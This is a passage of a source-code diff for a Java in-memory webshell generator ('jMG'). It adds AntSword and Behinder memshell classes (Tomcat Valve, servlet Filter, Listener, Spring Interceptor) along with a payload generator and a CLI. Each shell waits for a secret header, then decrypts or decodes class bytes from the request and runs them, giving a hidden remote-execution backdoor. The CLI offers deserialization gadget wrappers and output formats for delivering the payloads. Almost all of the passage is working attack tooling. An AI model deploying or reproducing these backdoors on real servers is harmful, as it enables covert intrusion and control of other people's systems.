return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
}
}
}
@@ -0,0 +1,87 @@
package jmg.antsword.memshell;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class AntSwordValve extends ClassLoader implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String pass;
public String headerName;
public String headerValue;
public AntSwordValve() {
}
public AntSwordValve(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName).contains(headerValue)) {
String cls = request.getParameter(pass);
if (cls != null) {
byte[] data = base64Decode(cls);
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
clazz.newInstance().equals(new Object[]{request, response});
}
}else {
// 重要: 没有这一步会将目标服务器打挂
this.getNext().invoke(request, response);
}
} catch (Exception e) {
this.getNext().invoke(request, response);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
}
@@ -0,0 +1,47 @@
package jmg.antsword.util;
import jmg.antsword.memshell.*;
import jmg.core.config.Constants;
import java.util.HashMap;
import java.util.Map;
public class ShellUtil {
private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
private static final Map<String, Map<String, String>> toolMap = new HashMap();
public ShellUtil() {
}
public static String getShellName(String toolType, String shellType) {
Map<String, String> shellMap = toolMap.get(toolType);
return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
}
public static String getShellClassName(String shellName) throws Exception {
if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
throw new Exception("Invalid shell type '" + shellName + "'");
} else {
return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
}
}
static {
SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName());
SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName());
SHELL_CLASSNAME_MAP.put(AntSwordValve.class.getSimpleName(), AntSwordValve.class.getName());
Map<String, String> antSwordMap = new HashMap();
antSwordMap.put(Constants.SHELL_FILTER, AntSwordFilter.class.getSimpleName());
antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
antSwordMap.put(Constants.SHELL_JAKARTA_FILTER, AntSwordJakartaFilter.class.getSimpleName());
antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName());
antSwordMap.put(Constants.SHELL_VALVE, AntSwordValve.class.getSimpleName());
toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
}
}
+21
View File
@@ -0,0 +1,21 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>jmg</groupId>
<artifactId>java-memshell-generator</artifactId>
<version>1.0.8</version>
</parent>
<artifactId>jmg-behinder</artifactId>
<dependencies>
<dependency>
<groupId>${parent.groupId}</groupId>
<artifactId>jmg-core</artifactId>
<version>${parent.version}</version>
<scope>compile</scope>
</dependency>
</dependencies>
</project>
@@ -0,0 +1,62 @@
package jmg.behinder.generator;
import javassist.ClassClassPath;
import javassist.CtClass;
import jmg.behinder.util.ShellUtil;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.generator.IShellGenerator;
import jmg.core.util.CommonUtil;
import jmg.core.util.JavassistUtil;
import jmg.core.util.ResponseUtil;
public class BehinderGenerator implements IShellGenerator {
@Override
public void initShell(AbstractConfig config) {
if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
}
@Override
public byte[] makeShell(AbstractConfig config) throws Exception {
initShell(config);
String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
String shellClassName = ShellUtil.getShellClassName(shellName);
byte[] bytes = modifyShell(shellClassName, config);
config.setShellBytes(bytes);
config.setShellBytesLength(bytes.length);
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
return bytes;
}
@Override
public byte[] modifyShell(String className, AbstractConfig config) {
byte[] bytes = new byte[0];
try {
pool.insertClassPath(new ClassClassPath(BehinderGenerator.class));
CtClass ctClass = pool.getCtClass(className);
ctClass.getClassFile().setVersionToJava5();
JavassistUtil.addFieldIfNotNull(ctClass, "pass", CommonUtil.getMd5(config.getPass()).substring(0, 16));
JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
JavassistUtil.removeSourceFileAttribute(ctClass);
bytes = ctClass.toBytecode();
ctClass.detach();
} catch (Exception e) {
e.printStackTrace();
throw new RuntimeException(e);
}
return bytes;
}
}
@@ -0,0 +1,70 @@
package jmg.behinder.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
public class BehinderFilter extends ClassLoader implements Filter {
public String pass;
public String headerName;
public String headerValue;
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderFilter() {
}
public BehinderFilter(ClassLoader c) {
super(c);
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
Map obj = new HashMap();
obj.put("request", servletRequest);
obj.put("response", response);
obj.put("session", session);
session.putValue("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
(new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
public byte[] doBase64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
@@ -0,0 +1,78 @@
package jmg.behinder.memshell;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;
public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public String pass;
public String headerName;
public String headerValue;
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderInterceptor(ClassLoader c) {
super(c);
}
public BehinderInterceptor() {
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try {
HttpSession session = request.getSession();
Map obj = new HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
session.putValue("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
(new BehinderInterceptor(this.getClass().getClassLoader())).g(c.doFinal(this.b64Decode(request.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception e) {
}
return false;
} else {
return true;
}
}
public static byte[] b64Decode(String bs) throws Exception {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
} catch (Exception var5) {
}
}
return value;
}
}
@@ -0,0 +1,73 @@
package jmg.behinder.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
public class BehinderJakartaFilter extends ClassLoader implements Filter {
public String pass;
public String headerName;
public String headerValue;
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderJakartaFilter() {
}
public BehinderJakartaFilter(ClassLoader c) {
super(c);
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
Map obj = new HashMap();
obj.put("request", servletRequest);
obj.put("response", response);
obj.put("session", session);
// fix: SpringBoot 3.3.3 (Tomcat/10.1.28)
// java.lang.NoSuchMethodError: 'void jakarta.servlet.http.HttpSession.putValue(java.lang.String, java.lang.Object)'
// session.putValue("u", this.pass);
session.setAttribute("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
(new BehinderJakartaFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
filterChain.doFilter(servletRequest, servletResponse);
}
}
public byte[] doBase64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
@@ -0,0 +1,98 @@
package jmg.behinder.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class BehinderJakartaListener extends ClassLoader implements ServletRequestListener {
public String pass;
public String headerName;
public String headerValue;
public BehinderJakartaListener() {
}
public BehinderJakartaListener(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = request.getSession();
Map obj = new HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
try {
// session.putValue("u", pass);
session.setAttribute("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
(new BehinderJakartaListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception var7) {
}
}
} catch (Exception e) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
return null;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
}
@@ -0,0 +1,97 @@
package jmg.behinder.memshell;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass;
public String headerName;
public String headerValue;
public BehinderListener() {
}
public BehinderListener(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = request.getSession();
Map obj = new HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
try {
session.putValue("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
(new BehinderListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception var7) {
}
}
} catch (Exception e) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
return null;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
}
@@ -0,0 +1,89 @@
package jmg.behinder.memshell;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
public class BehinderValve extends ClassLoader implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String pass;
public String headerName;
public String headerValue;
public BehinderValve() {
}
public BehinderValve(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName).contains(headerValue)) {
HttpSession session = (request.getSession());
Map obj = new HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
session.putValue("u", pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
(new BehinderValve(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
} else {
// 重要: 没有这一步会将目标服务器打挂
this.getNext().invoke(request, response);
}
} catch (Exception e) {
this.getNext().invoke(request, response);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
}
@@ -0,0 +1,51 @@
package jmg.behinder.util;
import jmg.behinder.memshell.*;
import jmg.core.config.Constants;
import java.util.HashMap;
import java.util.Map;
public class ShellUtil {
private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
private static final Map<String, Map<String, String>> toolMap = new HashMap();
public ShellUtil() {
}
public static String getShellName(String toolType, String shellType) {
Map<String, String> shellMap = toolMap.get(toolType);
return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
}
public static String getShellClassName(String shellName) throws Exception {
if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
throw new Exception("Invalid shell type '" + shellName + "'");
} else {
return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
}
}
static {
SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderJakartaFilter.class.getSimpleName(), BehinderJakartaFilter.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderJakartaListener.class.getSimpleName(), BehinderJakartaListener.class.getName());
SHELL_CLASSNAME_MAP.put(BehinderValve.class.getSimpleName(), BehinderValve.class.getName());
Map<String, String> behinderMap = new HashMap();
behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
behinderMap.put(Constants.SHELL_JAKARTA_LISTENER, BehinderJakartaListener.class.getSimpleName());
behinderMap.put(Constants.SHELL_JAKARTA_FILTER, BehinderJakartaFilter.class.getSimpleName());
behinderMap.put(Constants.SHELL_VALVE, BehinderValve.class.getSimpleName());
toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
}
}
+64
View File
@@ -0,0 +1,64 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>jmg</groupId>
<artifactId>java-memshell-generator</artifactId>
<version>1.0.8</version>
</parent>
<artifactId>jmg-cli</artifactId>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.jline/jline -->
<dependency>
<groupId>org.jline</groupId>
<artifactId>jline</artifactId>
<version>3.21.0</version>
</dependency>
<dependency>
<groupId>jmg</groupId>
<artifactId>jmg-sdk</artifactId>
<version>${parent.version}</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.6.0</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>jmg.cli.CLIApp</mainClass>
</manifest>
</archive>
<appendAssemblyId>false</appendAssemblyId>
<outputDirectory>../releases</outputDirectory>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
@@ -0,0 +1,9 @@
package jmg.cli;
public class CLIApp {
public static void main(String[] args) throws Throwable {
Console console = new Console();
console.init();
console.run();
}
}
+234
View File
@@ -0,0 +1,234 @@
package jmg.cli;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.sdk.jMGenerator;
import jmg.sdk.util.SDKResultUtil;
import org.jline.reader.LineReader;
import org.jline.reader.LineReaderBuilder;
import org.jline.reader.impl.completer.StringsCompleter;
import org.jline.terminal.Terminal;
import org.jline.terminal.TerminalBuilder;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.List;
public class Console {
private static AbstractConfig config = new AbstractConfig();
private static final List<String> SERVER_TYPES = Arrays.asList(
Constants.SERVER_TOMCAT,
Constants.SERVER_SPRING_MVC,
Constants.SERVER_JETTY,
Constants.SERVER_RESIN,
Constants.SERVER_WEBLOGIC,
Constants.SERVER_WEBSPHERE,
Constants.SERVER_UNDERTOW,
Constants.SERVER_GLASSFISH,
Constants.SERVER_JBOSS);
private static final List<String> TOOL_TYPES = Arrays.asList(
Constants.TOOL_GODZILLA,
Constants.TOOL_BEHINDER,
Constants.TOOL_ANTSWORD,
Constants.TOOL_SUO5,
Constants.TOOL_NEOREGEORG);
private static final List<String> SHELL_TYPES = Arrays.asList(
Constants.SHELL_LISTENER,
Constants.SHELL_FILTER,
Constants.SHELL_INTERCEPTOR);
private static final List<String> FORMAT_TYPES = Arrays.asList(
Constants.FORMAT_BASE64,
Constants.FORMAT_BCEL,
Constants.FORMAT_BIGINTEGER,
Constants.FORMAT_CLASS,
Constants.FORMAT_JAR,
Constants.FORMAT_JAR_AGENT,
Constants.FORMAT_JSP);
private static final List<String> GADGET_TYPES = Arrays.asList(
Constants.GADGET_NONE,
Constants.GADGET_JDK_TRANSLET,
Constants.GADGET_XALAN_TRANSLET,
Constants.GADGET_FJ_GROOVY,
Constants.GADGET_SNAKEYAML);
public void init() {
System.out.println(String.format("Welcome to jMG %s !", Constants.JMG_VERSION));
config = new AbstractConfig() {{
// 设置工具类型
setToolType(Constants.TOOL_GODZILLA);
// 设置中间件 or 框架
setServerType(Constants.SERVER_TOMCAT);
// 设置内存马类型
setShellType(Constants.SHELL_LISTENER);
// 设置输出格式为 BASE64
setOutputFormat(Constants.FORMAT_BASE64);
// 设置漏洞利用封装,默认不启用
setGadgetType(Constants.GADGET_NONE);
// 初始化基础配置
build();
}};
}
public void run() throws Throwable {
List<String> commands = Arrays.asList("help", "list", "use", "set", "show", "generate", "info", "exit");
Terminal terminal = TerminalBuilder.builder().build();
LineReader lineReader = LineReaderBuilder.builder()
.terminal(terminal)
.completer(new StringsCompleter(commands))
.build();
String prompt = "jmg > ";
String line;
while (true) {
line = lineReader.readLine(prompt);
String[] parts = line.trim().split("\\s+");
String command = parts[0];
String argument1 = parts.length > 1 ? parts[1] : null;
String argument2 = parts.length > 2 ? parts[2] : null;
switch (command) {
case "help":
help();
break;
case "list":
list(argument1);
break;
case "use":
use(argument1, argument2);
break;
case "set":
set(argument1, argument2);
break;
case "get":
get(argument1);
break;
case "generate":
generate();
break;
case "info":
info();
break;
case "exit":
System.out.println("Bye!");
return;
default:
System.out.println("Unknown command: " + line);
}
}
}
public static void help() {
String[][] helpMessages = {
{"help", "help message", "帮助信息"},
{"list [type]", "list toolTypes/serverTypes/formatTypes/shellTypes", "支持的工具类型/中间件|框架/组件类型/输出格式"},
{"use <type> <name>", "choose toolType/serverType/formatType/shellType", "选择工具类型/中间件|框架/组件类型/输出格式"},
{"set <key> <value>", "set pass/key/headerName/headerValue/urlPattern/...", "设置密码/密钥/请求头名称/请求头值/请求路径[/*]/..."},
{"get <type>", "get <type> or <key>", "查看配置"},
{"generate", "generate payload", "生成载荷"},
{"info", "connect info", "连接信息"},
{"exit", "exit jmg", "退出"}
};
for (String[] message : helpMessages) {
System.out.println(String.format("%-20s %-50s %-40s", message[0], message[1], message[2]));
}
}
public static void list(String argument1) {
if ("serverTypes".equalsIgnoreCase(argument1)) {
System.out.println("Servers: " + SERVER_TYPES);
} else if ("toolTypes".equalsIgnoreCase(argument1)) {
System.out.println("Tools: " + TOOL_TYPES);
} else if ("shellTypes".equalsIgnoreCase(argument1)) {
System.out.println("Shells: " + SHELL_TYPES);
} else if ("formatTypes".equalsIgnoreCase(argument1)) {
System.out.println("Formats: " + FORMAT_TYPES);
} else if ("gadgetTypes".equalsIgnoreCase(argument1)) {
System.out.println("Gadgets: " + GADGET_TYPES);
} else {
System.out.println("Unknown type: " + argument1);
}
}
public static void get(String argument1) {
try {
String methodName = "get" + argument1.substring(0, 1).toUpperCase() + argument1.substring(1);
Method method = config.getClass().getMethod(methodName);
System.out.println(argument1 + " : " + method.invoke(config));
} catch (NoSuchMethodException e) {
System.out.println("Unknown type: " + argument1);
} catch (IllegalAccessException | InvocationTargetException e) {
System.out.println("Error getting value for type: " + argument1);
}
}
public static void use(String argument1, String argument2) {
if ("serverType".equalsIgnoreCase(argument1)) {
if (!SERVER_TYPES.contains(argument2)) {
System.out.println("Unsupported server type: " + argument2);
return;
}
set("serverType", argument2);
} else if ("toolType".equalsIgnoreCase(argument1)) {
if (!TOOL_TYPES.contains(argument2)) {
System.out.println("Unsupported tool type: " + argument2);
return;
}
set("toolType", argument2);
} else if ("shellType".equalsIgnoreCase(argument1)) {
if (!SHELL_TYPES.contains(argument2)) {
System.out.println("Unsupported shell type: " + argument2);
return;
}
set("shellType", argument2);
} else if ("formatType".equalsIgnoreCase(argument1)) {
if (!FORMAT_TYPES.contains(argument2)) {
System.out.println("Unsupported format type: " + argument2);
return;
}
set("outputFormat", argument2);
} else if ("gadgetType".equalsIgnoreCase(argument1)) {
if (!GADGET_TYPES.contains(argument2)) {
System.out.println("Unsupported gadget type: " + argument2);
return;
}
set("gadgetType", argument2);
} else {
System.out.println("Unknown type: " + argument1);
}
}
public static void set(String argument1, String argument2) {
try {
String methodName = "set" + argument1.substring(0, 1).toUpperCase() + argument1.substring(1);
Method method = config.getClass().getMethod(methodName, String.class);
method.invoke(config, argument2);
System.out.println(argument1 + " : " + argument2);
} catch (NoSuchMethodException e) {
System.out.println("Unknown key: " + argument1);
} catch (IllegalAccessException | InvocationTargetException e) {
System.out.println("Error setting value for key: " + argument1);
}
}
public static void generate() throws Throwable {
// 更新配置
config.build();
jMGenerator generator = new jMGenerator(config);
generator.genPayload();
generator.printPayload();
}
public static void info() throws Throwable {
// 连接信息
SDKResultUtil.printBasicInfo(config);
SDKResultUtil.printDebugInfo(config);
}
}
+81
View File
@@ -0,0 +1,81 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<parent>
<artifactId>java-memshell-generator</artifactId>
<groupId>jmg</groupId>
<version>1.0.8</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>jmg-core</artifactId>
